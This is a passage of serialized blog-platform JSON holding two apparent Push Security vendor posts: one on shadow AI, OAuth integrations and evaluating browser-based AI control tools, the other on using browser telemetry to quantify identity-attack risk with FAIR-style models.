",{"data":12926,"content":12927,"nodeType":860},{},[12928],{"data":12929,"marks":12930,"value":12931,"nodeType":864},{},[],"Meanwhile, on the employee side of the equation, there are three other key concerns that security teams should be paying attention to when it comes to the risks associated with AI use.",{"data":12933,"content":12936,"nodeType":996},{"target":12934},{"sys":12935},{"id":1040,"type":1001,"linkType":1002},[],{"data":12938,"content":12939,"nodeType":1312},{},[12940,12945,12948],{"data":12941,"marks":12942,"value":12944,"nodeType":864},{},[12943],{"type":899},"Data leaving the business via shadow AI",{"data":12946,"marks":12947,"value":1171,"nodeType":864},{},[],{"data":12949,"marks":12950,"value":12952,"nodeType":864},{},[12951],{"type":899},"and AI extensions",{"data":12954,"content":12955,"nodeType":860},{},[12956],{"data":12957,"marks":12958,"value":12959,"nodeType":864},{},[],"Employees are signing up to AI tools directly, beyond the bounds of procurement or security review. That means security teams can't see sensitive data going into LLMs — clipboard pastes of API keys, file uploads to coding assistants, customer data in uploaded spreadsheets, etc.",{"data":12961,"content":12962,"nodeType":860},{},[12963],{"data":12964,"marks":12965,"value":12966,"nodeType":864},{},[],"Most teams also don't have visibility of AI browser extensions, another avenue for data to leave the business. Extensions are also an attack surface in their own right, as previously benign extensions can be compromised by threat actors through account takeover of the extension developer.",{"data":12968,"content":12969,"nodeType":1312},{},[12970,12975],{"data":12971,"marks":12972,"value":12974,"nodeType":864},{},[12973],{"type":899},"Employees using personal accounts on corporate AI app tenants",{"data":12976,"marks":12977,"value":12978,"nodeType":864},{},[]," ",{"data":12980,"content":12981,"nodeType":860},{},[12982,12986,12994],{"data":12983,"marks":12984,"value":12985,"nodeType":864},{},[],"The 2026 ",{"data":12987,"content":12988,"nodeType":883},{"uri":8429},[12989],{"data":12990,"marks":12991,"value":12993,"nodeType":864},{},[12992],{"type":1455},"Verizon DBIR",{"data":12995,"marks":12996,"value":12997,"nodeType":864},{},[]," found that 67% of GenAI users on corporate devices are using non-corporate accounts, and our own data shows that 38% of file uploads to AI tools are made from shadow accounts rather than approved organizational ones.",{"data":12999,"content":13000,"nodeType":860},{},[13001],{"data":13002,"marks":13003,"value":13004,"nodeType":864},{},[],"That means a large number of employees in most organizations are using AI apps with personal accounts, outside of organizational data governance, retention policies, access controls, or basic security oversight. ",{"data":13006,"content":13007,"nodeType":860},{},[13008],{"data":13009,"marks":13010,"value":13011,"nodeType":864},{},[],"The compounding risk is that personal accounts are typically protected by weaker passwords, inconsistent MFA, and credential reuse from other personal services — meaning a compromise of the personal account could give an attacker access to corporate data and tools.",{"data":13013,"content":13014,"nodeType":1312},{},[13015],{"data":13016,"marks":13017,"value":13019,"nodeType":864},{},[13018],{"type":899},"Shadow integrations between AI tools and corporate systems",{"data":13021,"content":13022,"nodeType":860},{},[13023],{"data":13024,"marks":13025,"value":13026,"nodeType":864},{},[],"App-to-app connections accomplished through OAuth are also proliferating faster than most teams can observe and review them. For the average organization, Push sees 17 unique AI app OAuth integrations connected just to Microsoft and Google corporate tenants.",{"data":13028,"content":13029,"nodeType":860},{},[13030,13033,13041],{"data":13031,"marks":13032,"value":2761,"nodeType":864},{},[],{"data":13034,"content":13035,"nodeType":883},{"uri":4103},[13036],{"data":13037,"marks":13038,"value":13040,"nodeType":864},{},[13039],{"type":1455},"recent Vercel breach",{"data":13042,"marks":13043,"value":13044,"nodeType":864},{},[]," illustrates the risks of even a single OAuth connection from a compromised third-party AI SaaS provider. This isn't really a new AI threat so much as a shadow SaaS problem that's accelerating alongside AI adoption, given that AI apps are specifically designed to pull data from one system, analyze it in another, and present it in a third — with MCP connections now creating the same kind of persistent, permissioned access through an authentication protocol (OAuth) that most organizations have no process to review.",{"data":13046,"content":13050,"nodeType":996},{"target":13047},{"sys":13048},{"id":13049,"type":1001,"linkType":1002},"1t2jn4fLxMlH0adMyQqkXk",[],{"data":13052,"content":13053,"nodeType":860},{},[13054],{"data":13055,"marks":13056,"value":13057,"nodeType":864},{},[],"This is the same web of OAuth-connected apps that is being exposed at scale through AI tool integrations. For many organizations, AI tools are now the hub of modern activity that orchestrates and automates across the mesh of cloud apps, which adds a useful perspective on what's changed. ",{"data":13059,"content":13063,"nodeType":996},{"target":13060},{"sys":13061},{"id":13062,"type":1001,"linkType":1002},"6cRnPkGdwWXRWcct6LfMzo",[],{"data":13065,"content":13069,"nodeType":996},{"target":13066},{"sys":13067},{"id":13068,"type":1001,"linkType":1002},"5WQZNpnPETWeys1VqubVW",[],{"data":13071,"content":13072,"nodeType":1005},{},[],{"data":13074,"content":13075,"nodeType":1009},{},[13076],{"data":13077,"marks":13078,"value":13080,"nodeType":864},{},[13079],{"type":899},"What to ask when evaluating browser-based AI visibility and control solutions",{"data":13082,"content":13083,"nodeType":860},{},[13084],{"data":13085,"marks":13086,"value":13087,"nodeType":864},{},[],"When you're evaluating AI visibility and control platforms that operate in the browser, there are two lines of questioning that can be useful to unpack.",{"data":13089,"content":13090,"nodeType":860},{},[13091],{"data":13092,"marks":13093,"value":13094,"nodeType":864},{},[],"The first is the tactical basics: What use cases does the product cover, and how quickly will you see value? In this category, you'll likely be looking for:",{"data":13096,"content":13097,"nodeType":941},{},[13098,13113,13128,13143],{"data":13099,"content":13100,"nodeType":945},{},[13101],{"data":13102,"content":13103,"nodeType":860},{},[13104,13109],{"data":13105,"marks":13106,"value":13108,"nodeType":864},{},[13107],{"type":899},"Depth of visibility:",{"data":13110,"marks":13111,"value":13112,"nodeType":864},{},[]," Can the solution observe both corporate and personal account usage of AI apps? Does the solution work with all major browsers, including emerging AI browsers? Does the solution automatically classify AI apps and automatically discover shadow AI?",{"data":13114,"content":13115,"nodeType":945},{},[13116],{"data":13117,"content":13118,"nodeType":860},{},[13119,13124],{"data":13120,"marks":13121,"value":13123,"nodeType":864},{},[13122],{"type":899},"Granularity of controls:",{"data":13125,"marks":13126,"value":13127,"nodeType":864},{},[]," Does the solution support visibility and control over clipboard interactions, allowing you to identify sensitive data strings like personal access tokens (PATs) or API keys? Does the solution allow you to set multiple enforcement modes (monitor, warn, block) and carve out exceptions for tools, teams and individuals where necessary? ",{"data":13129,"content":13130,"nodeType":945},{},[13131],{"data":13132,"content":13133,"nodeType":860},{},[13134,13139],{"data":13135,"marks":13136,"value":13138,"nodeType":864},{},[13137],{"type":899},"Ease of deployment:",{"data":13140,"marks":13141,"value":13142,"nodeType":864},{},[]," How is the solution deployed? Browser extension-based solutions like Push can be deployed at scale in an hour. Solutions that require an endpoint agent or a complete browser replacement will be a heavier lift.",{"data":13144,"content":13145,"nodeType":945},{},[13146],{"data":13147,"content":13148,"nodeType":860},{},[13149,13154],{"data":13150,"marks":13151,"value":13153,"nodeType":864},{},[13152],{"type":899},"Scope of coverage:",{"data":13155,"marks":13156,"value":13157,"nodeType":864},{},[]," Does the solution only enforce policy around AI usage, or does it also prevent AI-enabled attacks in the browser? ",{"data":13159,"content":13160,"nodeType":860},{},[13161],{"data":13162,"marks":13163,"value":13164,"nodeType":864},{},[],"The second set of questions is more about the underlying architectural choices a product has made, and how those translate into actionable intelligence for security teams — or where there may be blind spots. In this category, you will want to ask:",{"data":13166,"content":13167,"nodeType":1312},{},[13168],{"data":13169,"marks":13170,"value":13171,"nodeType":864},{},[],"Does the tool capture AI interactions that didn’t trigger a policy violation — or only the ones it blocked?",{"data":13173,"content":13174,"nodeType":860},{},[13175],{"data":13176,"marks":13177,"value":13178,"nodeType":864},{},[],"This is the most useful diagnostic if you're focused on understanding the wider security meaning and impact of an AI interaction, not just whether it violated a policy. ",{"data":13180,"content":13181,"nodeType":860},{},[13182],{"data":13183,"marks":13184,"value":13185,"nodeType":864},{},[],"Enforcement-first tools record what they stopped: blocked uploads, attempted usage of unapproved apps, flagged file names, etc. ",{"data":13187,"content":13188,"nodeType":860},{},[13189,13193,13198],{"data":13190,"marks":13191,"value":13192,"nodeType":864},{},[],"That's useful for compliance reporting but incomplete for security investigation, because ",{"data":13194,"marks":13195,"value":13197,"nodeType":864},{},[13196],{"type":899},"the most significant events are often the ones that looked normal at the time",{"data":13199,"marks":13200,"value":13201,"nodeType":864},{},[],": A user whose behavior shifted gradually over weeks before a resignation. An approved AI browser extension that updates its permissions, putting it in risky territory. An OAuth consent grant that was technically permitted but shouldn't have been.",{"data":13203,"content":13204,"nodeType":860},{},[13205],{"data":13206,"marks":13207,"value":13208,"nodeType":864},{},[],"Ask whether the tool can collect user behavior telemetry, file upload and download activity, and AI usage logs for permitted events — not just policy violations — and whether that telemetry can be forwarded to your SIEM. ",{"data":13210,"content":13211,"nodeType":860},{},[13212],{"data":13213,"marks":13214,"value":13215,"nodeType":864},{},[],"One approach gives you an investigation tool. The other gives you compliance alerts without deeper context.",{"data":13217,"content":13218,"nodeType":1312},{},[13219],{"data":13220,"marks":13221,"value":13222,"nodeType":864},{},[],"When an AI agent requests OAuth permissions to access your organization's data, does the tool capture the consent flow — what scopes were requested on which app, which user initiated the consent, and what was the outcome?",{"data":13224,"content":13225,"nodeType":860},{},[13226],{"data":13227,"marks":13228,"value":13229,"nodeType":864},{},[],"Most enforcement-first tools treat OAuth as a binary: approved app or blocked app. That was a reasonable model when OAuth grants were primarily app-to-app integrations managed by IT. It isn't sufficient for agentic AI.",{"data":13231,"content":13232,"nodeType":860},{},[13233],{"data":13234,"marks":13235,"value":13236,"nodeType":864},{},[],"AI agents request OAuth permissions to access organizational data on behalf of users. These are user-initiated consent grants that happen inside browser sessions, often with broad scopes, and frequently without security team awareness. The right tool needs to capture the consent event itself: what permissions were requested, what scopes were granted, who approved them, and what application received them. ",{"data":13238,"content":13239,"nodeType":860},{},[13240],{"data":13241,"marks":13242,"value":13243,"nodeType":864},{},[],"Ask whether the tool monitors OAuth consent flows across authorization servers, whether it can warn or block consent grants in real time based on policy, and whether that coverage extends to AI-enabled apps and MCP connections.",{"data":13245,"content":13246,"nodeType":1312},{},[13247],{"data":13248,"marks":13249,"value":13250,"nodeType":864},{},[],"When a new browser attack technique emerges that no tool has a signature for, how long does it take the platform to detect it — and can you show a specific example?",{"data":13252,"content":13253,"nodeType":860},{},[13254],{"data":13255,"marks":13256,"value":13257,"nodeType":864},{},[],"Attackers are rotating infrastructure in hours and using AI to generate new lures and phishing pages at scale. A detection model built on blocklists, reputation feeds, and known-bad indicators is architecturally behind any novel technique because by the time the indicator appears on a feed, the attacker has already moved on.",{"data":13259,"content":13260,"nodeType":860},{},[13261],{"data":13262,"marks":13263,"value":13264,"nodeType":864},{},[],"Ask vendors to show you a specific detection that fired on a novel technique before the infrastructure appeared on any threat feed.",{"data":13266,"content":13267,"nodeType":1312},{},[13268],{"data":13269,"marks":13270,"value":13271,"nodeType":864},{},[],"What browser telemetry reaches your SIEM — just alerts, or the underlying session data that makes those alerts investigable?",{"data":13273,"content":13274,"nodeType":860},{},[13275],{"data":13276,"marks":13277,"value":13278,"nodeType":864},{},[],"Ask to see a sample SIEM event from a real detection. Many browser security tools integrate with SIEMs, but the depth of what they forward varies a lot. ",{"data":13280,"content":13281,"nodeType":860},{},[13282],{"data":13283,"marks":13284,"value":13285,"nodeType":864},{},[],"Some send alert metadata that captures policy violations, timestamps, and involved users. Others forward a broader set of telemetry for deeper context — credential reuse, app logins, newly installed extensions, detected phishing kits, file uploads, clipboard activity, OAuth consent flows, file downloads, etc. ",{"data":13287,"content":13288,"nodeType":860},{},[13289],{"data":13290,"marks":13291,"value":13292,"nodeType":864},{},[],"The difference determines whether your SOC team can easily correlate signals from the browser-based tool with other layers of their stack and begin an investigation from the SIEM event itself — or whether they need to pivot back into the vendor's console for the actual evidence.",{"data":13294,"content":13295,"nodeType":1005},{},[],{"data":13297,"content":13298,"nodeType":1009},{},[13299],{"data":13300,"marks":13301,"value":13303,"nodeType":864},{},[13302],{"type":899},"AI visibility and control is a feature of the right browser security platform, not a separate purchase",{"data":13305,"content":13306,"nodeType":860},{},[13307],{"data":13308,"marks":13309,"value":13310,"nodeType":864},{},[],"Ultimately, the choice of browser platform for solving the two big problems of the AI era comes down to whether you need broader attack coverage and telemetry context in order to secure your organization, or whether a policy-based approach is enough. ",{"data":13312,"content":13313,"nodeType":860},{},[13314,13318],{"data":13315,"marks":13316,"value":13317,"nodeType":864},{},[],"Push treats the challenges of stopping AI-enabled attacks and providing visibility and control over AI usage as features that extend naturally from the platform's underlying architectural model: Rich browser-layer telemetry in ",{"data":13319,"marks":13320,"value":13322,"nodeType":864},{},[13321],{"type":899},"a single tool that helps security teams answer the question “What actually happened here?” not just “What policy was violated?”",{"data":13324,"content":13325,"nodeType":860},{},[13326],{"data":13327,"marks":13328,"value":13329,"nodeType":864},{},[],"This unified architecture matters because the AI control problem and the browser threat detection problem share a root cause: Security-relevant activity is happening inside browser sessions that most tools can't see. ",{"data":13331,"content":13332,"nodeType":860},{},[13333],{"data":13334,"marks":13335,"value":13336,"nodeType":864},{},[],"A standalone AI governance tool can tell you which AI apps are in use and whether employees violated a usage policy. It can't tell you whether the OAuth grant an AI agent just received was part of a broader pattern that includes credential entry on an unfamiliar domain, a clipboard paste from an internal document, and a login to a shadow SaaS app — all in the same session, all visible in the same telemetry stream. ",{"data":13338,"content":13339,"nodeType":860},{},[13340],{"data":13341,"marks":13342,"value":13343,"nodeType":864},{},[],"Separating AI governance from browser security means maintaining two tools that each only see half the picture. ",{"data":13345,"content":13346,"nodeType":1312},{},[13347],{"data":13348,"marks":13349,"value":13350,"nodeType":864},{},[],"How Push can help",{"data":13352,"content":13353,"nodeType":941},{},[13354,13377,13399,13421,13431,13441,13451],{"data":13355,"content":13356,"nodeType":945},{},[13357],{"data":13358,"content":13359,"nodeType":860},{},[13360,13364,13373],{"data":13361,"marks":13362,"value":13363,"nodeType":864},{},[],"Block emerging ",{"data":13365,"content":13367,"nodeType":883},{"uri":13366},"https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/",[13368],{"data":13369,"marks":13370,"value":13372,"nodeType":864},{},[13371],{"type":1455},"browser-based attack techniques",{"data":13374,"marks":13375,"value":13376,"nodeType":864},{},[],", including AI-enabled phishing and quickly evolving *Fix-style attacks.",{"data":13378,"content":13379,"nodeType":945},{},[13380],{"data":13381,"content":13382,"nodeType":860},{},[13383,13387,13395],{"data":13384,"marks":13385,"value":13386,"nodeType":864},{},[],"Benefit from Push's ",{"data":13388,"content":13389,"nodeType":883},{"uri":7180},[13390],{"data":13391,"marks":13392,"value":13394,"nodeType":864},{},[13393],{"type":1455},"agentic detection pipeline",{"data":13396,"marks":13397,"value":13398,"nodeType":864},{},[],", which continuously hunts across customer environments to identify emerging threats and ship new detections.",{"data":13400,"content":13401,"nodeType":945},{},[13402],{"data":13403,"content":13404,"nodeType":860},{},[13405,13408,13417],{"data":13406,"marks":13407,"value":21,"nodeType":864},{},[],{"data":13409,"content":13411,"nodeType":883},{"uri":13410},"https://pushsecurity.com/help/audience/engineering/rest-v1",[13412],{"data":13413,"marks":13414,"value":13416,"nodeType":864},{},[13415],{"type":1455},"Stream telemetry",{"data":13418,"marks":13419,"value":13420,"nodeType":864},{},[]," to your SIEM for a wide variety of events, including attack detections; newly installed browser extensions or newly adopted apps; updates to extension permissions; file uploads and downloads; clipboard pastes; app logins; credential reuse; OAuth consents; and more.",{"data":13422,"content":13423,"nodeType":945},{},[13424],{"data":13425,"content":13426,"nodeType":860},{},[13427],{"data":13428,"marks":13429,"value":13430,"nodeType":864},{},[],"Block file uploads and downloads.",{"data":13432,"content":13433,"nodeType":945},{},[13434],{"data":13435,"content":13436,"nodeType":860},{},[13437],{"data":13438,"marks":13439,"value":13440,"nodeType":864},{},[],"Block clipboard pastes of sensitive data, with regex-based patterns you can define.",{"data":13442,"content":13443,"nodeType":945},{},[13444],{"data":13445,"content":13446,"nodeType":860},{},[13447],{"data":13448,"marks":13449,"value":13450,"nodeType":864},{},[],"Monitor for or block unauthorized MCP connections.",{"data":13452,"content":13453,"nodeType":945},{},[13454],{"data":13455,"content":13456,"nodeType":860},{},[13457,13461,13470],{"data":13458,"marks":13459,"value":13460,"nodeType":864},{},[],"Write your own ",{"data":13462,"content":13464,"nodeType":883},{"uri":13463},"https://pushsecurity.com/help/audience/engineering/resources/custom-detections",[13465],{"data":13466,"marks":13467,"value":13469,"nodeType":864},{},[13468],{"type":1455},"custom YAML rules",{"data":13471,"marks":13472,"value":13473,"nodeType":864},{},[]," targeting specific elements of the page DOM, web requests and responses, HTTP headers such as cookies, and a lot more.",{"data":13475,"content":13476,"nodeType":860},{},[13477],{"data":13478,"marks":13479,"value":21,"nodeType":864},{},[],{"data":13481,"content":13485,"nodeType":996},{"target":13482},{"sys":13483},{"id":13484,"type":1001,"linkType":1002},"7AwQv7bLbARq6mdAgv7uGq",[],{"data":13487,"content":13488,"nodeType":1005},{},[],{"data":13490,"content":13491,"nodeType":860},{},[13492,13496,13504],{"data":13493,"marks":13494,"value":13495,"nodeType":864},{},[],"If you'd like to learn more about Push, ",{"data":13497,"content":13498,"nodeType":883},{"uri":1700},[13499],{"data":13500,"marks":13501,"value":13503,"nodeType":864},{},[13502],{"type":1455},"book a live demo",{"data":13505,"marks":13506,"value":2924,"nodeType":864},{},[],"Why you can't control AI without being in the browser","Why the right browser security tool makes a separate AI visibility and control purchase unnecessary — and how to decide what you actually need.","why-you-cant-control-ai-without-being-in-the-browser",{"items":13511},[13512,13514],{"sys":13513,"name":297},{"id":2732},{"sys":13515,"name":2729},{"id":2728},{"items":13517},[13518],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":13519},{"url":853},{"__typename":2059,"sys":13521,"content":13523,"title":14028,"synopsis":14029,"hashTags":59,"publishedDate":14030,"slug":14031,"tagsCollection":14032,"authorsCollection":14038},{"id":13522},"2MWicW07sNEBp59wxYtAiC",{"json":13524},{"data":13525,"content":13526,"nodeType":856},{},[13527,13535,13566,13572,13579,13598,13613,13616,13624,13639,13658,13683,13689,13705,13735,13741,13747,13763,13766,13774,13781,13789,13807,13823,13830,13855,13862,13870,13899,13906,13914,13921,13927,13930,13938,13945,13953,13959,13962,13970,13977,13984,13991,14003,14006,14012],{"data":13528,"content":13529,"nodeType":1009},{},[13530],{"data":13531,"marks":13532,"value":13534,"nodeType":864},{},[13533],{"type":899},"The quantification problem nobody talks about",{"data":13536,"content":13537,"nodeType":860},{},[13538,13542,13550,13554,13562],{"data":13539,"marks":13540,"value":13541,"nodeType":864},{},[],"I was recently teaching ",{"data":13543,"content":13545,"nodeType":883},{"uri":13544},"https://www.sans.org/cyber-security-courses/cybersecurity-leaders/",[13546],{"data":13547,"marks":13548,"value":13549,"nodeType":864},{},[],"SANS LDR551",{"data":13551,"marks":13552,"value":13553,"nodeType":864},{},[],", where we cover some of the flawed approaches used in risk measurement and prioritization — for example, presenting ordinal data in a risk matrix as ratio data, implying that the matrix represents quantitative analysis when it’s more of a best guess. We then look at modeling using ",{"data":13555,"content":13557,"nodeType":883},{"uri":13556},"https://en.wikipedia.org/wiki/Loss_exceedance_curve",[13558],{"data":13559,"marks":13560,"value":13561,"nodeType":864},{},[],"Loss Exceedance Curves",{"data":13563,"marks":13564,"value":13565,"nodeType":864},{},[]," as a more accurate, if much more difficult, approach to quantitative risk assessment.",{"data":13567,"content":13571,"nodeType":996},{"target":13568},{"sys":13569},{"id":13570,"type":1001,"linkType":1002},"4S1wJUm6E1qvyZzwrl2DL",[],{"data":13573,"content":13574,"nodeType":860},{},[13575],{"data":13576,"marks":13577,"value":13578,"nodeType":864},{},[],"The only problem is, we rarely have the time or the data to construct such models. Ask a CISO how they measure risk for credential compromise and other account takeover attacks, and the answer will probably include one or more of the following: a risk assessment, a whiteboard, and a room full of smart people making educated guesses about attack frequency and control strength. ",{"data":13580,"content":13581,"nodeType":860},{},[13582,13586,13594],{"data":13583,"marks":13584,"value":13585,"nodeType":864},{},[],"That isn't a criticism — for most risk scenarios, expert elicitation is the best (and most convenient) available method. Breach cost data is sparse, threat actor behavior is unpredictable, and internal incident history is (ideally!) a limited sample. Quantitative risk frameworks like ",{"data":13587,"content":13589,"nodeType":883},{"uri":13588},"https://www.fairinstitute.org/",[13590],{"data":13591,"marks":13592,"value":13593,"nodeType":864},{},[],"FAIR",{"data":13595,"marks":13596,"value":13597,"nodeType":864},{},[]," give structure to that uncertainty, but they can't conjure data that just doesn't exist.",{"data":13599,"content":13600,"nodeType":860},{},[13601,13605,13610],{"data":13602,"marks":13603,"value":13604,"nodeType":864},{},[],"The results are usually estimates with wide confidence intervals and loss distributions that appear precise, but are hard to defend to a CFO or a board. Finance leaders have seen Monte Carlo simulations before; the capable ones will challenge the quality of the outputs if they doubt the quality of the inputs. ",{"data":13606,"marks":13607,"value":13609,"nodeType":864},{},[13608],{"type":899},"But with the right telemetry, we can get both",{"data":13611,"marks":13612,"value":2924,"nodeType":864},{},[],{"data":13614,"content":13615,"nodeType":1005},{},[],{"data":13617,"content":13618,"nodeType":1009},{},[13619],{"data":13620,"marks":13621,"value":13623,"nodeType":864},{},[13622],{"type":899},"Why the identity attack surface is uniquely measurable",{"data":13625,"content":13626,"nodeType":860},{},[13627,13631,13636],{"data":13628,"marks":13629,"value":13630,"nodeType":864},{},[],"We've written extensively about the shift to identity as a primary attack vector — and the evidence continues to stack up. Credential phishing, device code phishing, ClickFix, adversary-in-the-middle attacks, session hijacking, and SaaS account compromise now account for the majority of breach entry points in most enterprise environments. But the silver lining here is that this shift has created something valuable for risk quantification: ",{"data":13632,"marks":13633,"value":13635,"nodeType":864},{},[13634],{"type":2246},"a highly observable threat surface",{"data":13637,"marks":13638,"value":2924,"nodeType":864},{},[],{"data":13640,"content":13641,"nodeType":860},{},[13642,13646,13654],{"data":13643,"marks":13644,"value":13645,"nodeType":864},{},[],"Identity attacks execute ",{"data":13647,"content":13648,"nodeType":883},{"uri":13366},[13649],{"data":13650,"marks":13651,"value":13653,"nodeType":864},{},[13652],{"type":1455},"in the browser",{"data":13655,"marks":13656,"value":13657,"nodeType":864},{},[],". They leave traces in authentication flows, login behaviors, OAuth integrations, extension activity, and SaaS access patterns — all of which are captured in real time by the Push extension. Unlike network or endpoint attacks, where the signal is often binary and retroactive, browser-based identity threats generate continuous, high-frequency telemetry that maps directly onto the inputs that drive quantitative risk models.",{"data":13659,"content":13660,"nodeType":860},{},[13661,13665,13670,13674,13679],{"data":13662,"marks":13663,"value":13664,"nodeType":864},{},[],"This telemetry directly informs the hardest inputs in any quantitative risk model. One is ",{"data":13666,"marks":13667,"value":13669,"nodeType":864},{},[13668],{"type":899},"Threat Event Frequency (TEF)",{"data":13671,"marks":13672,"value":13673,"nodeType":864},{},[],": how often a threat agent acts against an asset in a given period. For identity risks, this can be answered in how many credential phishing attempts reached your users across all delivery channels (social media, email, malvertising, etc.), or how frequently your users authorize malicious or compromised SaaS apps. Browser-level telemetry can answer these questions with ",{"data":13675,"marks":13676,"value":13678,"nodeType":864},{},[13677],{"type":2246},"observed",{"data":13680,"marks":13681,"value":13682,"nodeType":864},{},[]," data rather than industry lookups and general benchmarks. ",{"data":13684,"content":13688,"nodeType":996},{"target":13685},{"sys":13686},{"id":13687,"type":1001,"linkType":1002},"EvjT68MCWW7nz5q86xe8S",[],{"data":13690,"content":13691,"nodeType":860},{},[13692,13696,13701],{"data":13693,"marks":13694,"value":13695,"nodeType":864},{},[],"The other input to risk modeling that's difficult to express in concrete terms is ",{"data":13697,"marks":13698,"value":13700,"nodeType":864},{},[13699],{"type":899},"vulnerability",{"data":13702,"marks":13703,"value":13704,"nodeType":864},{},[],": the probability a threat becomes a loss event or, more specifically, how likely it is that your controls will fail. ",{"data":13706,"content":13707,"nodeType":860},{},[13708,13712,13720,13724,13732],{"data":13709,"marks":13710,"value":13711,"nodeType":864},{},[],"This is where browser telemetry gets especially concrete. ",{"data":13713,"content":13715,"nodeType":883},{"uri":13714},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/",[13716],{"data":13717,"marks":13718,"value":13719,"nodeType":864},{},[],"Analysis of login telemetry across Push-monitored environments",{"data":13721,"marks":13722,"value":13723,"nodeType":864},{},[]," shows that 1 in 4 logins are still password-only (not SSO), 2 in 5 are not protected by MFA, and 1 in 5 use a weak, breached, or reused password. Many of these logins occur outside the visibility of a central IdP platform like Microsoft, Google or Okta — the result of downstream ",{"data":13725,"content":13727,"nodeType":883},{"uri":13726},"https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/",[13728],{"data":13729,"marks":13730,"value":13731,"nodeType":864},{},[],"ghost logins",{"data":13733,"marks":13734,"value":1774,"nodeType":864},{},[],{"data":13736,"content":13740,"nodeType":996},{"target":13737},{"sys":13738},{"id":13739,"type":1001,"linkType":1002},"5GctExdVGjHRwKifiP00Fp",[],{"data":13742,"content":13746,"nodeType":996},{"target":13743},{"sys":13744},{"id":13745,"type":1001,"linkType":1002},"2mWToHCJcuB9FMwxxzd67F",[],{"data":13748,"content":13749,"nodeType":860},{},[13750,13754,13759],{"data":13751,"marks":13752,"value":13753,"nodeType":864},{},[],"In a FAIR-based model, TEF and vulnerability together determine ",{"data":13755,"marks":13756,"value":13758,"nodeType":864},{},[13757],{"type":899},"loss event frequency",{"data":13760,"marks":13761,"value":13762,"nodeType":864},{},[],": the foundational driver of the entire risk calculation. Using telemetry from your own environment as the basis for these calculations makes them far more accurate, and more likely to stand up to scrutiny.",{"data":13764,"content":13765,"nodeType":1005},{},[],{"data":13767,"content":13768,"nodeType":1009},{},[13769],{"data":13770,"marks":13771,"value":13773,"nodeType":864},{},[13772],{"type":899},"The attack surface is bigger than most models assume",{"data":13775,"content":13776,"nodeType":860},{},[13777],{"data":13778,"marks":13779,"value":13780,"nodeType":864},{},[],"One of the consistent failures in identity risk modeling is the tendency to model risks defenders can see, and leave the rest off the balance sheet. These omissions create a systematic understatement of exposure that browser-based telemetry can offset.",{"data":13782,"content":13783,"nodeType":1312},{},[13784],{"data":13785,"marks":13786,"value":13788,"nodeType":864},{},[13787],{"type":899},"Shadow AI and OAuth sprawl",{"data":13790,"content":13791,"nodeType":860},{},[13792,13795,13803],{"data":13793,"marks":13794,"value":21,"nodeType":864},{},[],{"data":13796,"content":13797,"nodeType":883},{"uri":4103},[13798],{"data":13799,"marks":13800,"value":13802,"nodeType":864},{},[13801],{"type":1455},"The Vercel breach in April 2026",{"data":13804,"marks":13805,"value":13806,"nodeType":864},{},[]," was the result of an OAuth connection to a third-party AI SaaS tool a developer connected into the organization's Google Workspace tenant (without admin approval). When the AI vendor was compromised, the attacker leveraged stored OAuth tokens to access downstream accounts, ultimately reaching internal dashboards, API keys, and source code. ",{"data":13808,"content":13809,"nodeType":860},{},[13810,13814,13819],{"data":13811,"marks":13812,"value":13813,"nodeType":864},{},[],"Push telemetry across customer environments shows an average of ",{"data":13815,"marks":13816,"value":13818,"nodeType":864},{},[13817],{"type":899},"17 unique AI app integrations per organization in Microsoft and Google alone",{"data":13820,"marks":13821,"value":13822,"nodeType":864},{},[],", most of which security teams would describe as unapproved. These generally don't appear in a conventional risk model that isn't looking for them.",{"data":13824,"content":13825,"nodeType":1312},{},[13826],{"data":13827,"marks":13828,"value":288,"nodeType":864},{},[13829],{"type":899},{"data":13831,"content":13832,"nodeType":860},{},[13833,13837,13846,13851],{"data":13834,"marks":13835,"value":21,"nodeType":864},{},[13836],{"type":899},{"data":13838,"content":13839,"nodeType":883},{"uri":2411},[13840],{"data":13841,"marks":13842,"value":13845,"nodeType":864},{},[13843,13844],{"type":1455},{"type":899},"Analysis of 20,000 unique extensions deployed across Push customer environments",{"data":13847,"marks":13848,"value":13850,"nodeType":864},{},[13849],{"type":899}," found that 46.76% have the permission combinations required for account takeover without user interaction. ",{"data":13852,"marks":13853,"value":13854,"nodeType":864},{},[],"The extensions carrying these permissions aren't flagged by risk scoring systems because the same permissions are used by ad blockers, password managers, and translation tools (the downside of relying on tools that rely on dubious scoring to assess extensions, but I digress). ",{"data":13856,"content":13857,"nodeType":860},{},[13858],{"data":13859,"marks":13860,"value":13861,"nodeType":864},{},[],"What matters for risk quantification isn't the permission set or an arbitrary score assigned by a vendor; it's whether the monitoring exists to detect when a previously-clean extension changes ownership, escalates permissions, or behaves anomalously. Without that monitoring, the exposure is real but unquantified.",{"data":13863,"content":13864,"nodeType":1312},{},[13865],{"data":13866,"marks":13867,"value":13869,"nodeType":864},{},[13868],{"type":899},"ClickFix and non-email delivery channels",{"data":13871,"content":13872,"nodeType":860},{},[13873,13877,13884,13888,13895],{"data":13874,"marks":13875,"value":13876,"nodeType":864},{},[],"ClickFix — where a malicious page silently writes a PowerShell or mshta command into the victim's clipboard and instructs them to paste it — was ",{"data":13878,"content":13879,"nodeType":883},{"uri":5971},[13880],{"data":13881,"marks":13882,"value":13883,"nodeType":864},{},[],"the most common initial access vector observed by Microsoft in 2025",{"data":13885,"marks":13886,"value":13887,"nodeType":864},{},[],", and CrowdStrike reported a",{"data":13889,"content":13890,"nodeType":883},{"uri":3237},[13891],{"data":13892,"marks":13893,"value":13894,"nodeType":864},{},[]," 563% increase in fake CAPTCHA lures",{"data":13896,"marks":13897,"value":13898,"nodeType":864},{},[]," (one of the most common ClickFix styles in which the user has to \"verify they're human\" by running a command on their machine). ",{"data":13900,"content":13901,"nodeType":860},{},[13902],{"data":13903,"marks":13904,"value":13905,"nodeType":864},{},[],"What makes this particularly relevant for risk quantification is the delivery channel: 4 in 5 ClickFix payloads intercepted by Push arrive via search engines, not email. A risk model that estimates threat event frequency from email-based phishing telemetry alone is structurally blind to an entire category of attack that has become one of the most prevalent initial access methods in the landscape.",{"data":13907,"content":13908,"nodeType":1312},{},[13909],{"data":13910,"marks":13911,"value":13913,"nodeType":864},{},[13912],{"type":899},"Authorization attacks",{"data":13915,"content":13916,"nodeType":860},{},[13917],{"data":13918,"marks":13919,"value":13920,"nodeType":864},{},[],"Device code phishing and OAuth consent abuse 